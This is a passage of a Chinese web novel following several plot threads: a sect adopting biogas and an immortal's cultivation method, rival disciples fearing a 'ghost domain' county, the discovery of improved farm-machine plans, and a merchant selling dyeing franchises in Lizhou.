但若是说到能量,这玩意竟然是具象的存在,而非一种无实体的存在。 仇师祖脑袋还想东想西,这会倒是指挥着宫内弟子帮着建造沼气池。 好在他们永道宫只需一个沼气池,再加上这些匠人建造沼气池的技术早就炉火纯青,所以建造起来速度也飞快。 不到三天,沼气池就完工了。 等到投入使用的第一天,仇师祖终于在自家道宫内用上了沼气取暖。 屋内热气腾腾,将每一处阴森到骨头缝的寒冷逼出体外,难得让他觉得,今年的冬天应该会很舒适。 而至于做饭,照明更不必说,尤其方便,做饭只需要拧开按钮,即刻便能出火,再也不需要生火了,无形中实在是省了太多事。 至于照明,原先需要十来盏油灯才能做到的照明,如今一盏沼气灯足够,且甚至要远超原先的照明手段。 宫内变化如此明显,倒是让宫内一众弟子不免瞪大眼睛。 各个议论纷纷。 “宫内哪来的这等神器?” “莫非是老祖宗的东西?” “不可能,要是老祖宗的东西,仇师祖早就给咱们弄出来了,何必等到现在?” “有道理,不说别的,尤其是这沼气取暖,冬天简直舒服得没边,仇师祖老寒腿了,要是以前有办法,他肯定不会拖到现在。” “啧,确实,难道咱们宫抱上大腿了?” 一说起抱大腿话题,众人难免兴奋。 “这感情好,我就说咱们不能再继续执行那老旧一套了,不说别的,原先咱们和景旭宫差得也不远吧,但咱们讲究出世,人家就入世,看看现在,景旭宫发展简直要吊打咱们。” 立即有人推了他肩膀一把。 “去去去,哪有灭自己威风的,不过既然宫内抱上了大腿,我等何不去打探一番?” 众人纷纷心动,而后决定试探师祖一番。 还有摇头叹息。“也就是咱们宫内你们敢这么和师祖开玩笑,换做景旭宫那种等级分明的,你们这会早就被拖下去了。” 众人立即噤声。 这倒是实话,一来是因为永道宫内都是精挑细选的弟子,人品端正,且人少了,师祖自然能认得出每一个人。 二来则是永道宫可比景旭宫正派多了。 等众人散开,不等他们先问,仇离的通讯符先到了。 问了问沼气池安装是否顺利,然后又旁敲侧击,想让仇师祖赶紧开设那个选拔考试。 毕竟他在潜灵山得到了仙师的首肯,这会修炼的地方都被仙师划出来,正建造道宫。 仇师祖本就打算率先将选拔考试落实到位,这会听说仙师竟已经划分好给他们修炼之处,更是感动至极。 仇风和仇哀两人则是不免感慨:“仙人果然不凡,如此忙碌,却又能将我等这事放在心上,为仙人效力,乃是我等福分啊。” 仇师祖抽搐着嘴角——不是,谁之前那么反对来着,结果现在秒变脸啊。 已经无力吐槽,索性直接将宫内弟子召集而来。 好在他先前早就设计好了话术,这会只需要冷脸将此消息告知宫内弟子便是。 “师门之中,凡修为精进,品行端方的弟子,均可参加每月一次的试炼考核。若考核成功通过,则可去永道宫总部学习新的功法秘籍。” 台下众人在听到这话后,彻底懵了。???考核?总部? 等会,他们呆了这么多年,怎么不知道自家还有个总部? 而且话说这所谓的总部在哪? 这消息就像滴入油锅内的一滴水,立即炸开。 有弟子问:“师祖,那新的秘籍功法到底是什么?原先怎么不曾听说过?”——这是好奇宝宝型的。 立即有弟子附和。“是啊师祖,这考核怎么现在才考核,以前都不提前通知哇?”——这是质疑型的。 “师祖,考核是月初月末?内容是什么?”——这是积极进取型的。 “师祖” 仇师祖早就料想到了今日场景,这会将早就想好的说辞拿出来糊弄人。 咳嗽一声,瞪了一眼众弟子,这才开口:“原先我就说过咱们宫内是有底子的,这些都是老祖宗留下来的东西,原先是不到时候,现在眼看景旭宫如日中天,是时候依靠老祖宗了。” 这话倒是说得神叨叨的,糊弄住了一大片弟子。 等到好不容易糊弄过去,仇师祖不免松了口气。 虽说众人看着还有些略微疑惑,但总归是这说法还勉强能站住脚。 倒是这会宫内呆了多年的仇影长老还楞在原地,一时半会,脑内倒是全被震撼和惊诧占据。 等到众人散开,互相消化这个令人震惊的消息后,仇影长老立马找到了仇师祖哭诉。 “师祖,你也太能瞒着我了,我都多少年老人了,怎么不知道咱们宫还有总部?那什么劳什子功法,我为何不知道?” 这会看着一旁似乎早就知晓的仇风,仇哀两人,更是气不打一处来。 “师祖,我和他们一起进入师门,为何他们早就晓得,就瞒着我一人?莫不是师祖对我有意见难道是上次我不小心传出您戴着假发的那事?” 仇影长老此人说话直肠子,这也就是为何去风仙县拜访仙人时,仇师祖没敢带着他的缘故。 这会听到他的控诉,仇师祖不免额头青筋直跳 不是,你都知道我秃头了,还反复提这个事,是不是故意的? 这会黑着脸,甩袖离开,咬牙留下一句话。 “没有意见,这事让仇风,仇哀给你解释。” 眼看仇师祖的背影逐渐远去,仇影长老还继续疑惑。 “师祖看着心情不太好啊?谁惹他了?” 仇风: 仇哀: 不是,真的假的,你瞎啊,那个罪魁祸首不是你吗? 想吐槽,但想想还是算了,毕竟仇影比较黏人,不解释清楚,他真能赖着不走。 仇风脾气暴躁,这会无语地离开,留下仇哀解决此事。 仇风实在是跑得太快,眼看没办法,仇哀这才耐心将此事前龙后脉仔细解释清楚。 等听到投靠仙师时,仇影简直满眼不赞同。 “怎可这般鲁莽,说投靠就投靠?” 仇哀翻了个白眼:“那你去和师祖去说,他决定的。” 仇影: 等听到沼气池是仙师给带来的技术,仇影更是蹙眉:“师祖就为了这就妥协了?” 仇哀没理他,继续说到《青梧引》。 等提及到《青梧引》,仇影简直要愣在原地。 ——此功法竟然可以引气入体! 不仅能够延长寿命,更是能加速修炼,且在炼丹,刻咒上既可以节省精力,速度也快了! 这功法简直和开挂没区别啊! 意识到此功法若是使用后会给永道宫带来多少好处后,仇影原先的不赞同立刻转化为赞同,且还是高度赞同。 甚至开始批判仇师祖早应该去找这位了,毕竟时间就是生命,这以前没练此功法的时候,那到底是浪费了多少时间啊! 仇哀:“刚才谁嫌弃师祖不该同意的?” 仇影沉默,忙换个话题。 “什么时候能修炼此功法?若我能修炼此功法,炼丹效率能提高不少,这样宫内的丹药就能正常供应了。” 提起这个,仇哀倒是没话说,毕竟仇影此人虽说直肠子,情商低,但他真是一门心思为了宫内弟子修炼,战战兢兢炼丹,不曾有一日空闲,每日除了修炼,便是炼丹,生活枯燥无味到没话说。 “得和我们一起去潜灵山,毕竟只有效忠于仙人后,才能得天地亲近,开启引气入体,且引气入体必须得是有一定修炼基础的弟子,不然会爆体而亡。” 仇影顿时沉思:“所以这便是为何要考核的缘故了,就这么定了,最近一次考核结束,带着弟子们去潜灵山时,我也一起去。” 最新考核时间定在了月底,只有不到五天,这点时间对于那些原先基础不牢固的弟子来说根本补不起来,索性不如先看看师兄师姐们去了会如何。 于是这会各个去找师兄师姐们拉近关系,希望到了地方师兄师姐们能告知他们功法到底如何。 永道宫内往日弟子间氛围和谐,前辈对于后辈颇为爱护,这不过小小要求,有何难,自是答应下来。 等到第一次考核结束,永道宫一共是派出去二十名弟子,被仇哀和仇影领着前去潜灵山,至于仇师祖和仇风则是留下来看管宫内动向,省得景旭宫来犯。 为了更快地到达潜灵山,二人给马车上贴了极速符,直奔潜灵山而去。 而此刻,游历许久的李归一则是终于再次返回风仙县。 他抬头去看,就看到这风仙县似乎是和记忆中的不太一样了。 ——扩大了? 第179章 鬼蜮 别说,风仙县看着比之前好太多了。 首先最明显的变化是本县正在扩建。 其实扩建并不奇怪,奇怪的是这个世道,别的地方早都成了一座空城,而风仙县却因为民众太多,需要继续开拓才能住得下更多人,这两方一对比,自然是风仙县奇怪了。 且他注意到,这参与建筑城区的看着像是流民,而非本城居民。 至于更清楚的变化,得需要他进去后细细查看。 李归一此刻站在城门口,看着入城队伍正排成一队,而后慢慢悠悠地往前跟着大部队前进。 这些人中有不少人是流民,看来风仙县确实做到了那仙盟内所说,起着一个引导的作用。 等到检查时,流民们则是被引着先进行排查,而后送入隔离房内分开隔离,至于李归一,因为他曾多城辗转,中途不一定会沾染上什么病菌,也被拉着去做隔离了。 好在隔离点还有东西吃,据说这隔离点的饭菜比较简单,但是对李归一来说,这饭菜哪里简单了? 甜的冒油的地瓜,炒得入味的豆腐,他觉得这伙食已经比他路上要吃得好多了。 要知道他一路走过了这么多城镇,除了一些比较□□的县城还保持着原先的经济活动,一半的县域早在这连绵不断的争斗中破败下来。 人群伤得伤,死得死,各个朝不保夕,别说吃口热饭,对比流民,他能吃上一口干饼都觉得幸福。 哪像现在,这饭菜竟然是白给的! 且更为要紧的是,滋味确实不错。 李归一吃得香甜,而后似乎看到对面有熟人的身影一闪而过。 他忙追随着那熟悉的道袍——景旭宫?为何会在此处? 等看清那衣袍分明是外门弟子的衣袍,且随着那人走动,他竟是逐渐发现了一牢房内有不少景旭宫外门弟子。 这会正毫无形象地蹲在地上,各个捧着饭菜吃得香甜。 李归一: 以为自己眼花了,揉了揉眼睛,确定眼前看得一切没出错后,开始陷入沉思。 这些人也是来隔离的? 一时间有些提防。 毕竟景旭宫的名气实在是太烂,为了避免让这些潜在危险分子进入风仙县,李归一趁着收盘子时警示那景旭宫一行人可不是好人。 因为早就知晓李归一是城内仇离,仇朗的师叔,看管倒是面带微笑道:“李道长,别担心,那景旭宫多人早就被我等控制住,眼下不过是将他们暂时隔离,等到隔离完毕后,便会将他们投入去建造房屋。” 从此人话语间,李归一倒是很快明悟——这景旭宫外门弟子看来是来了好几批了,不然不会应对的这么完善。 其实事实也是如此。 先前最早被俘虏的那波人早被送到另一处地方,而非隔离地点,而现在的这批,正是颇有信心而来的新弟子。 这次的景旭宫弟子要比原先谨慎多了,不仅仅更换了衣物,且准备了更多的符咒,打算在风仙县大干一场。 结果也就刚进了风仙县,得意了不到一炷香,便被人打晕,扔到了牢房里。 更令人绝望的是,浑身的符咒被拿走,还被看得很紧,可谓是彻底被控制了。 其中也有那等擅长体术的外门弟子,但为了预防意外,早就配备了慎刑司的人过来守着。 这些外门弟子如何能比得过专业人士,自然各个被暴揍了一顿后塞进了牢房。 与此同时,城外一行人正在嘀咕。 为首的道士穿着熟悉的景旭宫道袍,看着人来人往的风仙县脸庞严肃。 他特意用了一张昂贵的探测咒,却毫无所获,自然是对这神秘莫测的风仙县更为警惕。 “先前进去的人都不曾出来,想必其内必有古怪。” 另一人沉重道:“这符咒可不便宜,以往最难缠的鬼怪都能检测到,今日竟是失效了。” 他们一行五人,其中负责组织此任务的人自然是为了那成为内门弟子名额而来,其余四人则是各有各所求。 这会为首之人脸色严肃,“不能随便进去,不然就是去送命,必须要再多观察几天,不差这几日。” 看着同伴各个面色严肃,不由缓缓开口:“这风仙县虽说颇为古怪,但诸位不用担心,我带了足以护体的东西。” 四人被他勾起好奇心,不由开口询问是何物品。 而后便看到他手心不断转动着的小金色球体。 立即有人认出此物。 “竟然是传言法球的前身,小言法球!王兄好手段,这物到底从何而来?” 一时间,不免心底火热——此法球要么家族炼制而成,要么去市场上购买,价格可是不菲。 但对应的,可作为防身武器使用,毕竟有了这小言法球,战斗力至少能翻三倍。 姓王的外门弟子露出微笑,“家中长辈赠与的,实在是运气好。” 四人对着他恭维一番,一时间,各个心思四起。 这王家是有钱有人脉,竟然还能弄到这好玩意,可惜这小言法球认了主,没法更改主人,不然他们自然要将此物抢走出售,可比他许诺的报酬高多了。 而那王家弟子也是明白此道理,这才说这话,不然早被人吞吃干净了。 四人勉强压下眼中一闪而过的嫉妒和贪婪,其中一人忧心道:“但看风仙县,人来人往,像是一繁华县域,你们说有没有可能,这城本身是一座鬼城,我们所看到的一切均是它的伪装,人一旦进去就会深陷其中,难以逃出。” 这说法倒是新奇,几人互相对视一眼,而后还是王姓弟子道:“你的意思是有人故意从中作梗,用了幻境? 譬如先是使用幻境将此地幻化成这繁华之貌来吸引猎物进入,等到进入后,便开始处理猎物。” 这人点头又迟疑摇头。 “也不完全是这个意思,其实我更觉得是这座城本身就有问题,比如县域本身修炼成精怪的一种,所以这才能让众人进入此县却无一人出来。” 其余四人均被此人大胆的想法震撼在原地。 ——等会,虽说第一次听觉得离谱,但是越想越觉得有可能啊。 一个人如何能做到这般全面? 就算个人技术有问题,但景旭宫的符咒至少不是没用的东西啊! 这些弟子也是携带了大量符咒进入的,结果一点消息都没有,很有可能和此人猜测一样,整个县就有问题。 一旦接受了这个预设,五个人倒是很容易就想明白了其中的条条框框。 所以说为何那混淆咒无用,便是因为一旦进入那风仙县,相当于进入了鬼怪体内,自然无法动用天地之气。 自然无法催化符咒。 想通了这点后,五人各个面面相觑,虽说天气甚为寒冷,但却没有五人的心来得冰凉。 太险了!幸亏没随便进去,不然就算他们有小言法球,估计也是有去无回! 一想到整个县城都是一座扑朔迷离的鬼蜮,五人难免额头渗出冷汗。 算了,人活着就有机会加入内门,何必在乎速度,最后丢了性命反倒是不美。 五人商量后返回黎州景旭宫。 和他们得出相同结论的人也不少,毕竟这等类似于道宫内宫内奇谈的话本子不是没有。 人都是这样,没有的时候,就觉得很假,但一当某个事有这么发展的趋势和苗头后,各个就开始往自己曾经听过的东西上硬套了。 很快,整个风仙县是一座鬼蜮的消息便悄咪咪地在外门弟子中流传开来,这消息很快就扑灭了不少实力不够的外门弟子打算碰运气的打算,毕竟鬼蜮,这地方一听就很危险啊。 倒也有人琢磨着若是带足够了符咒,可否有一闯的机会。 但当听说人处于鬼蜮内不可使用符咒后,这会大部分外门弟子都消停了。 ——不敢去了,要知道他们出任务大部分靠着的是符咒,符咒不能使用,和自断双腿有何区别? 慢慢的,这任务便被搁置下去,一度成为外门弟子不可触碰的死亡任务。 当然,这番言论也很快便被景旭宫高层听到耳里。 初闻这说法时,他们只觉得妖言惑众,但细细品味后,又觉得还真有几分道理。 一时半会倒是对此地颇为忌惮。 而与此同时,永道宫精挑细选的二十名弟子全部来到了风仙县。 因为是从固定地点前来,所以不曾隔离,等这二十人快速前往潜灵山时,倒有一人快速跟着这马车前进。 此人浑身包裹严实,只露出一双锐利的眼睛,似那山谷鬼火一般醒目。 刀疤遍布的手紧紧握着一柄弯刀,这会正迅速跟在永道宫马车后。 李归一总算结束了隔离,本来仇离,仇朗二人是打算下山亲自带师叔参观一番风仙县,但是被李归一骂了回去。 “去去去,你师叔我又不是七老八十,何故需要你们领着我转悠,安稳呆在山上,等师叔我上山去你们那喝酒。” 早在入城后不久,李归一就知晓仇朗这酒蒙子竟然还接手了酒厂管理,第一次知道时,不得不承认李归一懵了。 ——等等,在他印象里,他记得仇朗这孩子并不喜欢经营吧? 但当好不容易从街边卖酒店铺里喝到那酒厂生产出来的美酒后,别说仇朗,李归一都动了想去酒厂的心思。 不为别的,主要是想喝个够,毕竟他才刚喝一碗,只觉得入口芬芳柔顺,绵软悠久,不愧是好酒,等喝完了手头的一碗,竟被店家告知没了。 李归一不死心,多问了几家,却一直没能找到,问哪儿都是卖空了,或者没有这酒水,一时间倒是难受。???都什么鬼,有钱还买不到? 直到知晓这酒水是仇朗所管酒厂生产后,李归一总算是松了口气。 第180章 改良农机 李归一很快便将风仙县转悠了一圈,等深刻体会其中改变后,这会倒是生出了几分懈怠,甚至想多在风仙县多待会,毕竟出去游历实在是颇为遭罪啊,哪里比得上在本县吃喝住宿一应俱全,住的客栈方便舒适,有暖气,有马桶,有浴室,沐浴起来别提有多痛快了,另一方面,吃饭的花样还多。 麻辣鲜香苦甜,啥味都有,且大都是别的地方所没有的。 尤其是那张氏点心铺,做了不少别出心裁的甜品,各个不曾见到过类似的,吃下去一口,李归一便顿觉满足,虽说价格比较贵,但他依旧各个口味买了不少。 ——价格贵点正常,这里面放油,糖,牛奶,干果,哪个不是金贵东西,好吃就行。 李归一想得很开,毕竟钱没了还能继续赚,人死了,钱还在,好吃的东西还没吃上那真是亏大了。 关键这玩意还不好买,不少人等着买,一出锅,最好吃的点心很快便会被抢购一空,只有说相对冷门一些的点心才能放得久一些。 不过也仅仅是相对,毕竟张氏每隔一个月便会下降一款最不受欢迎的点心,然后继续上架一款新点心,如此更新往复,倒是时刻能吸引众人的好奇心,偶有特别好吃但是麻烦的点心,张氏只在特殊日子,譬如过年,亦或是端午中秋这样特殊的日子做。 当然了,这些东西都是从别人口中得来的,至少李归一目前没吃过那据说好吃得不得了的点心。 这会他看完本县的沼气灯,惊得直瞪眼,尤其是听到这玩意是仇离负责落地的东西后,李归一只得感慨后生可畏。 要知道,这东西落地绝非易事,但仇离这小子,还真给办成了。 除了这些外,本县还有新设的报社,扫盲班,学堂,亦或是这几个工厂,各个都让李归一惊叹不已,尤其是在看到县令大人下发的律法后,李归一看完只有两个字在脑海内翻滚——神迹。 这律法各方面颇为严谨,一时间,他竟然没找到可供挑刺的地方,且仔细研读一番后就会发现,若按照本县律法,未来风仙县并不打算采取原先传统县城的治理办法,而是更加给百姓过渡权利,且法律规定了底线,对于改善治安很有用。 除却这些东西,李归一自是猜到了县令大人背后的深层想法——用这份律法彻底和大炎朝划分界限。 不免在心中颇为感慨。 ——他们永道宫口口声声说着要避世,结果现在可好,避世避到动乱的最中央了。 将风仙县仔细探查一遍后,眼看不曾有什么遗漏,李归一这才迅速直奔潜灵山。 而与此同时,里正经过多日努力,总算是找到了那改良农机的制作书籍。 等捧着手心那图纸时,里正难免哽咽倒不是别的,实在是太难找了,要不是一娘子填了把手帮忙,他这把老骨头不知道还要蹲着找多久。 本是想着询问此娘子名字,好让他将这份功劳记在对方身上,但谁想到对方竟然不肯,于是里正只能无奈离开。 看着走远的里正,祝应不免神色复杂。 最近她一直在集闻楼阅读书籍,同时等待仙师,应当是因为最近仙师忙碌,她不曾见到仙师,只能说暂且看书打发时间。 本来是这么想的,但是等一翻开集闻楼内的书籍,却发现这些书籍涵盖面非常广泛,且随便一本书内知识都很新颖。 不仅仅是一本,而是所有。 此番发现难免让祝应兴奋不已。 在短暂的兴奋后,她如饥似渴地阅读着这些书籍,——包括天文地理,水利医学,数学文学,等其他杂七杂八方向,她都没挑剔,一一阅读。 毕竟并非工具书有用,有时候闲暇间看过的书籍,反而会在之后的某一刻变得至关重要。 祝应对待阅读一事十分尊重且渴求,在这集闻楼呆了几日,她不分昼夜,如饥似渴的阅读。 因为她的阅读速度实在过快,所以她的一日倒相当于别人的好几日,且更为变态的是祝应此人头脑记忆里十分好,只要说翻阅过的书籍,就不会说只是单纯的在脑内过一遍,而是说会如同精读一般,准确无误的记录在脑内。 这便是她从小的恐怖之处。 在集闻楼多呆了几日后,她总是能看到一上了年纪的老翁过来看书,一开始祝应没太当回事,毕竟这集闻楼内都是仙师旗下的人,但随着此人来的次数增多,祝应难免对他多了几分关注。 “哎,不对呀,按道理来说就是这个区域,但是怎么就找不到呢?” 里正自言自语的同时,加大了找寻的力度,但很可惜,次次空手而归后,里正不免有些泄气。 当时张氏说的改良农机的图纸就在这集闻楼内这堆书籍内,但是他已经将机械和农业区域的书籍翻了一遍,但为何还是没能找到张氏所说的改良农机? 一时间百思不得其解,郁闷之际,却察觉到有一阴影缓缓在他头顶落下,这会不免抬头去看,便看到一长相高挑,气度不凡的女子。 她静静地看着他,模样看不出悲喜,但一时间,里正竟然被对方浑身的气度惊在原地,好半天都没能说出话来,直到对方淡淡开口,询问他是否需要帮忙,他这才从震撼中回神。 本来里正是不想说实话,毕竟他也不清楚此人可不可靠,但是左右又一想,能来到集闻楼的人都是仙师旗下的人物,换句话说,都是他的同僚,于是便大大方方地开口向祝应解释一番。 等提及他要找的东西时,里正难免叹息。 “看来这改良农机颇为难找,不过无碍,左右老夫无事,日后在这楼内多呆一些日子也是极好的。” 听到里正这番打趣的话,祝应难免露出一个淡淡的笑来。 此人倒是有趣。 不过与此同时,她不由地沉思。 按道理来说,改良农机这书籍应当是存放在机械或者是农业方面的区域才对,但是对方已经说过这两个区域都不曾见到过,那大概率是方向找错了。 稍微思索一番,祝应转身前往标记着“改变”区域的书籍去看。 她迅速翻看书籍,很快便在其中找到了这所谓的农机设计图。 里正压根就没想过这件事会这般轻松写意地完成,眼看着对方拿出他所需要的东西,并且贴心翻开到那一页给他看时,里正的理智崩得稀碎。???这合理吗? 为毛对方只花了不到了一炷香,自己找了数日还没能找到? 里正不免脸皮泛红,感觉老脸差点挂不住。 一开始他以为还要颇费功夫,甚至已经做好了再继续找一两个月的准备,反正冬天时间还有不少,他总不至于运气那么差,死活找不到吧。 但是看到对方如此轻松便在一堆书中,迅速而又准确地找出他所需要的书后,里正不免心头狂跳,心里疯狂猜测对方来头。 ——这般聪慧之人,再加上这通天的气度,很难不让他多想啊! 刚想客气问对方名字,却被对方巧妙地避开这个话题,里正能活这么大岁数,也不是傻子,既然对方不想说,那他也不会这么没眼色去逼着人家说。 “老夫这般不知如何道谢,只能说将此物献给方大人,再看方大人定夺。” 这话倒是真话,毕竟全县的工匠都在方大人手里捏着,里正说得全都是肺腑之言。 祝应淡淡点头,对他这个决定很认可,毕竟她和方知意见过面,也跟对方深入聊过天,知道方大人是一个绝对靠谱的人。 且更为重要的是,刚刚扫了一眼改良农机设计图,虽说设计很新颖,但是令人意外的是,这改良农机并不难实现,且还是那种绝对容易复刻实现的东西。 一想到此物能带来的巨大好处,祝应难免心情微微起了波澜。 要知道如今耕种所采用的都是人力播撒种子,如果说用上了这种改良后的农机,起码会提升三倍到五倍的效率,等到时候春季推广开来,这对农业的推动绝对是史无前例的。 而且祝应刚刚观察到,这种改良农机所需要的制作材料还挺简单的,如果推广开来的话,也不会花太多银两,但是效果却是立竿见影,这绝对是一笔极为合适的投资。 一瞬间,祝应脑内闪过诸多施行下去的办法,譬如春季耕种季节,可用秋收之物抵押租借耕种工具,亦或是付出人力,或者是少量的铜板,均不失为一种好办法。 从畅想中回神,祝应手指翻开在一新书上,难免思绪翩飞。 ——刚才给里正找改良农机书籍时,她意外翻到了一本有趣的东西。 手指无意识轻敲书本,露出上面画着的风车图——是改良水风车。 改良后的水风车,可加工粮食,排水排涝,但最为主要的还是用于灌溉农田,日后便不再需要农人靠着人力辛苦灌溉农田,但是比较尴尬的是,风仙县内并没有诸多河流,只有一条已经被做了改善水利工程的大河,别的小河流稀少,水风车不适合用在本县。 但 祝应像是想到什么一般,眼神不由一暗。 其实水风车更适合用在黎州境内,毕竟黎州水系诸多,此水风车在黎州定能使出用处。 想到这一点,祝应难免心情微微沉寂,而后将这设计图深深刻在脑内,打算日后仙师带领她们攻入黎州,等那黎州也称为仙人旗下管辖范围后,再拿出来使用更为合适。《 》 180-190 第181章 加盟 黎州。 在李思运营布料获取初步成功后,布料商行便开始逐渐扩张,直到充斥整个黎州。 只要是还能正常生活的县域,均被李思安插上了布料商行。 至于扩张的钱自然是从赵金构的个人账户,以及风仙县内的公账来的。 扩张一直持续到市场上所有的红色跟靛蓝色布料全部被李思掌握在手中,这场没有硝烟的战斗才逐渐停歇。 一开始这些布料商人只是觉得这两个颜色是特殊布料而已,但是伴随着之后李思此人竟然还不断地推出新颜色的特殊布料,他们便逐渐开始察觉到了不对劲。 等会——这和当初说的不一样啊! 但是等到察觉不对劲的时候,已经为时已晚,毕竟李思已经将新布料的市场彻底拓展开来,现在不论意识到问题的严重性亦或是没意识到的,都逃脱不了终将被吞并的命运。 如今唯一的生存手段便是主动去找对方寻求合作,至于之前最大的商户吴掌柜早就做好了合作的准备,现在等听到对方有更多颜色的布料时,心头自然先是震撼,而后又觉得正常。 ——有那等身份,仅仅是弄出现在的动静已经是很低调了。 他该庆幸对方遵守约定,没将手伸向丝绸这类更为昂贵的布料上。 毕竟对方的背景这么强大,之前两个颜色只不过是打开市场而已,现在看来是彻底动真格的了。 虽说吴掌柜并不知道哪种大人物需要侵占布料市场,但是他一等草民如何能跟黎州内的那些大佬们作对,不想要命啦? 这会正想着偷偷摸摸去找对方,看看怎么个合作法。 而其余的布料商则是懵了。 等会——当时说的是他只会售卖这两种颜色的布料,绝不会危害到他们的利润,他们这才同意,心想反正市场大了,李思不至于能抢走所有市场,但眼看着对方即将有要将整个市场攥入手心的打算,立即慌了神,各个去找李思。 等到落了座,这会压抑不住心中焦躁,忙询问:“李兄,这和你原先说的可不一样啊?” 李思一脸疑惑地揣手看着众人:“李某不知诸位何意啊?”???不是,这对吗?人不能,至少不应该这么不要脸啊,你自己还好意思问? 众人沉默半晌,看上去被李思的无赖噎了一下,之后总算有人开口打破了沉默。 “李兄,你这就没意思了,原先你亲口说过,你这布料店只会售卖两种颜色,这会如何会上新多种颜色?” 李思先是蹙眉,而后叹息。 “没办法啊,我原先是不打算上新其他颜色的,但是架不住那些客户求得厉害,你说百姓都求我了,我李某岂是那种如此冷血之人?” 众人简直要被这无赖的说法说得瞪大眼睛。 自然有人开始破口大骂。 “好你个李思,我等这般信任你,结果你现在店开起来了,你翻脸不认人了?虽说我等势力不如你,但也不是任人拿捏的。” 李思无奈地看着他,叹息:“何故如此,李某这番做,实际上是对诸位有好处的。” 众人简直要被他这幅无赖模样无语得笑出声。 “好处?李思,你别欺人太甚,你这可算是垄断了市场,日后只要有你新布料存活的一天,我等染坊和彻底废除了有何区别?” 一提及到这方面,众人难免心中郁郁寡欢,——那染坊可是他们安身立命的地方,一家老小吃喝全靠染坊,现在被李思这么一动作,日后可如何维系生活? 这会各个心情激动,俨然一副要将李思生吞了的模样。 李思倒是不慌不忙开口:“诸位太不了解李某了,李某连百姓的请求都无法拒绝,如何会做出让诸位没有饭吃的事呢? 这么说吧,这布料改进是板上钉钉的事,就算今日没有李某,日后也还会有钱某,孙某,一味地逃避有何用,在我看来,跟随时代潮流才是正确做法。” 众人抽搐嘴角。 “莫非你的意思是日后让我们都从你手里进货?” 一想到日后布料货源都被李思拿捏在手里,这会众人各个难免心情沉重,没染坊的还好,有染坊的心里更是难受——新布料出来了,他们染的旧布料有何用? 看到众人绝望的模样,李思不免轻笑,而后解释:“诸位想多了,这黎州市场颇大,李某若是这般贪心,怕不是会被噎死啊。 眼下李某有个更好的办法,诸位不如先听听?” 众人一脸麻木,说吧,他们还能说什么。 李思心中轻笑,面上倒是和善解释:“李某知晓诸位的担忧,是害怕李某会控制进货源头,但若是李某只提供染色方法呢?诸位心中可否好受一些?” 他不动声色地打量一番,果然,在他说出这话后,众人顿时呼吸急促。 “李兄,你这话可是真的?” “这染色方法还能教给我们不成?” 众人疑惑纷纷,李思咳嗽一声:“自然能教,就是先前为了研究出此方法,李某也是花费了数年的金钱和心血啊” 话都说到这了,众人一听便懂。 ——不是,想要钱就直接说好吗! 但是这会还要顺着台阶下,各个挂着笑讨好开口:“岂能让李兄白费心思,我等自然乐意为了这技术花费银两。” 李思不免微笑继续道:“其实我家大人对布料市场没什么兴趣,但对当各位的合作商很有兴趣。 我们采取一种全新的模式——加盟。” 众人一头雾水,加盟???什么玩意,没听说过啊? 不等他们提问,李思继续道:“所谓加盟便是,采取统一装修,统一设备,统一技术手段来保证达到相同的质量。” 这么一说,众人便懂了,只是这会各个犹豫。 “这非要如此?我等那牌匾可是祖上传下来的,我若是换了,祖宗在地下铁定不饶我啊。” 听到这话,李思倒也微笑开口:“自然不是非要不可。两种合作方式,一是更换牌匾,收取的费用较少,二则是不更换,但是……这加盟费用可就要贵不少,不过这选择权都在诸位手里。” 瞥了一眼众人后,李思继续道:“我先说更换牌匾加盟形式,首先需要一笔加盟费,包括培训费以及装修费。 其次便是你们必须要采购我们的设备,按照统一标准装修店铺,等到这两种做完后,我们会派专人过来指导你们在染色技术上的改进方向,其次的话,各种染色颜料你们可以按照这个色谱来找我进货。” 边说,李思边将手头上那张色彩艳丽的色谱展开,好让众人看到。 原先众人还有些神游天际,但等看到这颜色十分清楚逼真的印刷图后,各个瞪大眼睛。 ——不是,这怎么做到颜色这么艳丽的? 仔细看了几眼,却仍旧不清楚这到底是何原理,众人难免心头巨震——这便是李思后台的实力?随便拿出一点东西就是他们不曾见到过的好玩意啊! 这会态度更为恭敬。 眼看成功唬住众人,李思继续道:“这上面的颜色在我等指导下,绝对是一比一复刻,且固色比原先好多了。 说回最关键的,加盟费按年计算,每年需要100两即可,不过前期的装修费,培训费是你们要负责的,大概算下来是三百两左右。” 原先他们以为李思定会狮子大开口,但等听到这话后,倒是不免楞在原地。 ——等等,好像价格还算合理? 这会不免有人心动,毕竟他们的染料也是从别人手里买的,买谁的不是买,且说到最后,无论是装修,亦或是染色机器什么的,这些东西又不是给李思的,而是实打实落在他们手里啊。 想到这一点,原本觉得自家染坊要被迫关门的人顿时活了过来,各个喜笑颜开,围着李思恭维。 而那些不愿意改名自然也忙开口问需要多花多少钱。 李思露出微笑:“这不改名就要花费多一些了,加盟费每年五百两,除了不需要改颜与装修和店名,依旧需要付培训费和设备费,染料价格也是。” ——五百两? 这价格确实昂贵,不免让人沉默片刻,对于小商户不友好,但对于有着自己固定客户的大商户就友好许多,毕竟相比于五百两的加盟费,更为重要的是他们已经打出去的名声和客源,尤其是高消费水平客源。 “最为重要的是,这染色方法不仅限于棉布,诸位还能试着染别的布料。” 李思轻飘飘开口,这句话彻底成了压死骆驼的最后一根稻草。!!! 原先还有些纠结犹豫的众人顿时眼神火热。 对啊,他们还可以染别的布料啊怎么看这所谓的加盟,他们都稳赚不赔。 而李思也觉得有趣——他们县除了棉布别的都不产,何必要和对方竞争这些子虚乌有的东西,还不如让他们多幻想一会,好让这谈判进行的更为顺利。 这会自然慢慢开口道:“不着急,诸位可以好好思索一番,李某一直在这里等着诸位的合作。” 众人难免心思火热。 没染坊自是以后只能从各个染坊,亦或是李思这里拿二批货,但有染坊的,这可算是赶上了染坊更新换代的时刻。 若是能在此次染色改进中掌握先机,或许能赚一笔。 众人心思火热,这会别说犹豫了,恨不得赶紧求合作。 毕竟越是更快地生产出新布料,他们便能更快地赚钱。 “李兄,别等了,我这就给你交加盟费!” 第182章 试探 一旦有第一个人开口,之后就更为顺利了。 众人忙抢着要加入,这会迫不及待想引进新技术,好让自家染坊也能以最快的速度制造出新的染色布料。 李思倒是淡定。 “不着急,先在这里登记,等到登记结束,钱缴了的话,自然会有人负责过去教授的。” 这话众人倒是都相信——毕竟李思扩张了这么多店铺也花费了不少钱,不至于会因为这小钱而跑路。 很快,有想法的人过来排队缴费登记,人不少,毕竟谁都能看出来,现在这情况是骑虎难下,哪怕是本来不想加入,但别家都加入了,自己不加入那岂不是就相当于后退? 只能咬着牙,也加入其中。 